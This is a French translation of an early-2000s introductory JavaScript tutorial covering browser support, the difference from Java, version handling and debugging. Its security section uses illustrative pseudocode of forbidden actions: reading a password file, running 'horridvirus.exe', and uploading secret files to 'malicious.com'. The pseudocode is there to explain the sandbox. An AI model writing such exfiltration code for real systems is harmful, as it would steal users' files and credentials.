Vous êtes ici : Accueil des cours Misfu > Apprendre la programmation > Cours Javascript > Introduction générale

Traduction de la page General introduction rédigée par Peter-Paul Koch et traduite par Christophe Bruggeman

La traduction est en cours, si vous trouvez une erreur sur une page ou si vous souhaitez suggérer une amélioration, n'hésitez pas à utiliser le forum.

Introduction générale

Le Javascript est supporté par Netscape 2, Explorer 3, Opera 3 et toutes les nouvelles versions de ces navigateurs. De plus, Hotjava 3 supporte le JavaScript, ainsi que iCab pour Mac, WebTV, Omniweb pour OS X, QNX Voyager et Konqueror pour L'environnement KDE sous Linux.
Je vérifie mes scripts sur ces navigateurs, et j'offre toujours des informations de compatibilité pour chacun d'entre eux.

NetBox pour TV, Amiga-AWeb, Amiga Voyager 3, Sega Dreamcast et Ant Fresco sur Risc supporte aussi JavaScript. Depuis que je n'ai plus ces navigateurs, je ne peux plus donner d'information sur les incompatibilités.

Le JavaScript est souvent utilisé comme un langage de script côté client. Cela signifie que le code JavaScript est écrit dans une page HTML. Quand un internaute fait une requête sur une page HTML avec du JavaScript dedans, le script est envoyé au navigateur qui traduit le code et le renvoie à la différence d'un code PHP qui est interprété par le serveur.

Fort heureusement, de nos jours la plupart des navigateurs peuvent manipuler le JavaScript, mais naturellement il arrive que certains d'entre eux bloquent sur certaines parties de code. Sur ce point j'essaye de suivre tous les navigateurs JavaScript et je note les différents bugs et propriétés de ceux-ci de sorte que vous sachiez quels navigateurs ont des problèmes.

Le fait que le script ce situe dans une page HTML signifie que vos scripts peuvent être vus et copiés par celui qui consulte votre page. Néanmoins, pensez que vous même pouvez recopier du code afin de le comprendre et l'utiliser.

Le JavaScript peut être employé dans d'autres contextes que celui du navigateur web. Netscape a crée le JavaScript coté serveur comme le langage CGI qui peut faire les même choses que Perl et l'asp. Il n'y a donc rien qui vous empêche de créer des programmes complexes. Cependant, ce tutorial traite exclusivement de l'emploi du JavaScript dans des navigateurs.

JavaScript vs. Java

Le JavaScript n'est pas identique à Java. Je répète : Le JavaScript n'est pas identique à Java.

Bien que les noms soient très semblables, le Javascript est principalement un langage de script à utiliser dans des pages de HTML, alors que Java est un vrai langage de programmation qui fait des choses tout à fait différentes de JavaScript. En outre il est beaucoup plus difficile d'apprendre Java. Il a été développé par Sun pour l'usage de programmes nécessitant une certaine puissance de calcul.

Le JavaScript a été développé par Netscape pour le côté client (dans le navigateur) et pour les scripts côté serveur. À l'origine le langage s' appelait Live Script , mais alors qu' il était sur le point de devenir connue Java était devenu immensément populaire. Au dernier moment Netscape a changé le nom de son langage de Script en "JavaScript". Ceci a été fait purement pour des raisons commerciales.

Java comme JavaScript descendent du C et du C++, mais les langages (ou plutôt, leurs ancêtres) sont allées dans des directions complètement différentes. Vous pouvez les voir en tant que cousins lointains. Tous les deux sont orienté objet (bien que ce soit moins important pour le JavaScript que pour beaucoup d'autres langages) et ils partagent une syntaxe similaire, mais les différences entre eux sont plus importantes que les similitudes.

Le language JavaScript

Le JavaScript n'est pas un langage de programmation dans le sens strict. On le considère plutôt comme un langage de script parce qu'il emploie le navigateur pour effectuer le sale travail. Si vous demandez à une image d'être remplacés par une autre, le JavaScript indique au navigateur d'aller le faire. Puisque le navigateur effectue le travail à votre place, vous avez seulement à écrire quelques simples lignes de code. C'est ce qui fait du JavaScript un langage facile pour débuter.

Mais ne vous y trompez pas, le JavaScript peut être ce révéler aussi très difficile. Premièrement, en dépit de son aspect simple il est aussi un langage de programmation très complet. Il est donc possible d'écrire des programmes très complexes en JavaScript. C'est rarement nécessaire quand il s'agit de l'utiliser pour des pages web, mais c'est tout à fait possible. Ceci signifie qu'il y a quelques structures de programmation assez complexes que vous ne pourrez comprendre qu'après les avoir étudiés.

Deuxièmement, et plus important encore, il y a les différences de navigateurs. Bien que les navigateurs modernes supportent tous le JavaScript, il n'y a aucune loi sacrée qui indique qu'ils devraient tous soutenir exactement le même JavaScript. Une grande partie de ces tutoriaux sont consacrées à Internet Explorer et à expliquer ces différences de navigateurs et à trouver des moyens d'y faire face.

Il est facile d’apprendre les bases du JavaScript, mais quand vous commencerez à écrire des scripts plus évolués vous serez vite confronté aux différences entre navigateurs (il y a de temps en temps des problèmes de syntaxe).

Sécurité

Le JavaScript côté Client a été expressément développé pour l'usage dans un navigateur web en association avec des pages HTML. Ceci a certaines conséquences pour la sécurité.

Tout d'abord, notez soigneusement svp ce qui se produit quand un utilisateur visite un site Web contenant du JavaScript :
L'utilisateur demande une certaine page HTML sans savoir s'il elle contient du JavaScript. La page HTML est fournie au navigateur, ainsi que les scripts. Les scripts fonctionnent habituellement automatiquement lorsque la page ce charge. En général l’utilisateur ne peut rien faire pour stopper les scripts (bien, qu'il pourrait stopper le code JavaScript via les options de son navigateur, mais peu d'utilisateurs savent le faire).

Il est courant de voir un utilisateur lambda télécharger un programme aléatoire et lui permettre de s'exécuter sur sa machine. Par conséquent il devrait y avoir des règles strictes sur ce que ce programme peut faire et ne peut pas faire.

  1. Le JavaScript ne peut pas lire des fichiers ou écrire dans le système de fichiers de l'ordinateur.
    filesystem.read('/my/password/file');
    filesystem.write('horridvirus.exe');
    
  2. Le JavaScript ne peut exécuter aucun autre programme. Ce serait également inacceptable
    execute('horridvirus.exe')
    
  3. Le JavaScript ne peut établir aucune connection sur un ordinateur, à moins que ce soit pour télécharger une nouvelle page HTML ou pour envoyer du courrier. Ceci, aussi, créerait des risques inacceptables:
    var security_hazard = connection.open('malicious.com');
    security_hazard.upload(filesystem.read('/my/password/file'));
    security_hazard.upload(filesystem.read('/ultra_secret/loans.xls'));
    

Donc le JavaScript ne peut tout simplement pas faire de choses dangereuses. Malheureusement Microsoft a vu qu'il pouvait rajouter quelques commandes de fichier system, en combinaison avec sa technologie ActiveX. Ceci signifie que l'explorateur Windows est structurellement moins sûr que n'importe quel autre navigateur. Il a quelques protections de "built-in", mais les hackers trouvent encore régulièrement des faiblesses. Le premier virus JavaScript dont j'ai entendu parler fonctionne dans ce sens.

Ainsi le JavaScript fonctionne seulement sur des pages en HTML ou des partie du navigateur. Vous ne pouvez pas influencer quelque chose qui n'en fasse pas partie. Mais même dans un navigateur il y a quelques zones non modifiables. Fondamentalement le JavaScript veut protéger l'intimité de l'utilisateur en rejetant certaines actions et en demandant la permission pour d'autres :

  1. Vous ne pouvez pas lire l'historique d'un navigateur. Ainsi un webmaster malveillant ne peut pas écrire un script qui lui permette de découvrir où vous naviguez.
  2. Vous ne pouvez rien faire dans les pages qui proviennent d'un autre serveur. Ainsi si votre bureau contient deux pages provenant de deux serveurs différents, elles ne peuvent pas communiquer entre elles. Donc un webmaster malveillant ne peut pas savoir quels sites vous avez ouvert dans d’autres fenêtres de navigation. Voir la page cassement de frame pour plus d'informations.
  3. Vous ne pouvez pas mettre la valeur du champ d'un fichier en téléchargement (<input type="file">).
    document.forms[0].upload_field.value = '/my/password/file';
    document.forms[0].submit();
    
  4. Si vous essayez de fermer une fenêtre de navigateur qui n'a pas été ouverte par JavaScript, l'utilisateur est alors invité à confirmer cette action.
    Cependant, cette règle n'est pas mise en application dans tous les navigateurs et il est facile de la contourner sous l'explorer Windows.
  5. Si vous essayez d'envoyer un formulaire à une adresse mail par JavaScript, l'utilisateur est invité à confirmer cette action.
  6. Vous ne devriez pas pouvoir ouvrir une nouvelle fenêtre plus petite que 100x100 pixels et/ou la placer en dehors de la zone d'écran de votre ordinateur. Ainsi un webmaster malveillant ne peut pas utiliser ce type de fenêtre invisible.
    Notez que l'explorer Windows (et peut-être d'autres navigateurs) permet ceci, contrairement aux règles de sécurité.

Ainsi le JavaScript est un langage de script utilisé pour influencer des éléments en HTML, comme des formes, des images, des couches, des paragraphes etc... ainsi que pour influencer quelques objets non–HTML comme la fenêtre du navigateur. Rien de plus, mais (d'une manière primordiale) rien de moins.

Incompatibilités des navigateurs

Quand un utilisateur reçoit une page qui inclut du JavaScript, l'interpréteur JavaScript de son navigateur essaye d'exécuter le script. Seulement le problème principal est que chaque navigateur utilise son propre interpréteur, et il arrive parfois que les fournisseurs de navigateurs choisissent de ne mettre en application qu'un peu de JavaScript, ceci pour des raisons concurrentielles.

Par conséquent il est à craindre des incompatibilités de navigateur.

En outre, chaque nouvelle version de navigateur supporte plus de JavaScript et permet de plus en plus de changer vos pages HTML par des scripts. Ceci mène à bien plus d'incompatibilités.

Il est préférable de résoudre des problèmes de compatibilité au cas par cas. En fait, la plupart des pages sur ce tutorial ont été précisément écrites en raison des incompatibilités de navigateur. Mais je vous avertis : vous devez digérer énormément d'information. Par conséquent il est préférable pour résoudre un problème actuel de laisser seul le reste de l'information jusqu'à ce que vous ayez besoin d'elle.

Versions de navigateur

Les différences entre les versions sont plus simples que celles entre les navigateurs. Je divise les navigateurs de Javascript en navigateurs de version 2, de version 3, de version 4 et de version 5. Ces numéros de version me sont propre et sont cité sur chaque page de ce tutorial. J'explique entièrement ce système sur ma page Introduction aux navigateurs.

Versions de JavaScript

Il y a eu plusieurs versions de JavaScript..

D'origine, les numéros de version étaient supposés donner un support d'information. Telle ou telle méthode pouvaient seulement être supporté par les navigateur comprenant JavaScript 1.xx. Plus le numero de version est élevé , et plus le navigateur pourra supporter des opérations complexes.

<script language="javascript1.3" type="text/javascript">
<!--
Le script complexe viendra ici et sera seulement éxecuté
par les navigateurs qui supportent JavaScript 1.3
// -->
</script>

<script language="javascript1.0" type="text/javascript">
<!--
Un script simple viendra ici et sera exécuté par tous les
navigateurs supportant le Javascript
// -->
</script>

Malheureusement Netscape 3 ne reconnaît pas les attributs de langage dans une balise include JavaScript. Ainsi si vous faites :

<script language="JavaScript1.3" src="somescript.js"></script>

Netscape 3 chargera le script, malgré le fait qu’il ne supporte pas le JavaScript 1.3, et il affichera beaucoup de messages d'erreur.

Un navigateur peut-il supporter mon script ?

Cependant, une distinction très importante doit être faite. Les modules principaux du JavaScript sont le noyau (Core) et le DOM ( Document Object Model) , Je vous l'expliquerai plus en détails sur une page postérieure. Les versions de JavaScript peuvent être très utiles lorsqu'il s'agit d'essayer de déterminer le support du noyau, mais elles sont inutiles pour le support du DOM, ou les caractéristiques des navigateurs.

En outre, l'indication JavaScript 1.2 dans Netscape 4 peut avoir quelques effets secondaires inattendus qui sont trop compliqués à expliquer maintenant.

Par conséquent je prête peu d'attention aux versions, et je vous conseille de ne pas les employer. Deux navigateurs peuvent prétendre soutenir le JavaScript 1.2 mais être néanmoins tout à fait différents (Netscape 4 et Explorer 4 par exemple). Ainsi la version JavaScript pour les scripts de "tous les jours" est sans importance.

Alors comment vais je savoir si un navigateur peut manipuler mes scripts ? La règle de base est : n'utilisez pas un détecteur de navigateur, utilisez un détecteur d'objet.

Correction du JavaScript

Quand j'ai fini d'écrire un script, Je le vérifie toujours en premier dans Netscape, parce que Netscape est un bien meilleur outil pour débuguer qu' Internet Explorer. Dans Mozilla, sélectionner Outils => Console JavaScript pour voir les erreurs que vous faites.

Après l'avoir débugué dans Netscape, Je regarde avec Explorer. À proprement parler Explorer ne supporte pas le JavaScript mais JScript, c'est la façon de Microsoft de faire les choses. Pour de simple script ça ne pose pas de problèmes, parce que JScript supporte toutes les commandes basiques en JavaScript.

Explorer donne aussi des messages d'erreur, mais ces informations sont loin d'être utile. Internet Explorer 5 est bien meilleur pour débuguer du JavaScript qu' Explorer 4, mais Netscape reste bien mieux équipé.

En ce qui concerne les navigateurs mineurs, ils proposent la plupart du temps des messages d’erreur JavaScript, mais vous devez pour cela les activer. Consultez la page navigateurs pour des informations plus précises.

Consultez également le site evolt.org pour un bon article sur le débuguage JavaScript.

Débutants

Si vous débutez en JavaScript, lisez dans un premier temps la page Détection d'objets C’est la page la plus importante de ce site car elle vous enseigne les règles de base du JavaScript : n’utilisez pas un détecteur de navigateur, utilisez un détecteur d’objets.

Une fois que vous aurez lu cette page, l’idéal est d’essayer le script mouseover. Le résultat est très populaire, et une fois que vous aurez étudié ce script, vous comprendrez mieux les bases du Noyau, du DOM niveau 0 et du traitement d’évènements (Event handling)..

Après cela, les bases seront acquises et je vous donnerai une introduction plus structure sur les différents modules de JavaScript.

Cours JavaScript : Introduction Javascript Ajouter du Javascript Détection d'objet Déclarations Fontions String DOM Booléen DOM intermédiaire Objets This MouseOver Imprimer Détection navigateur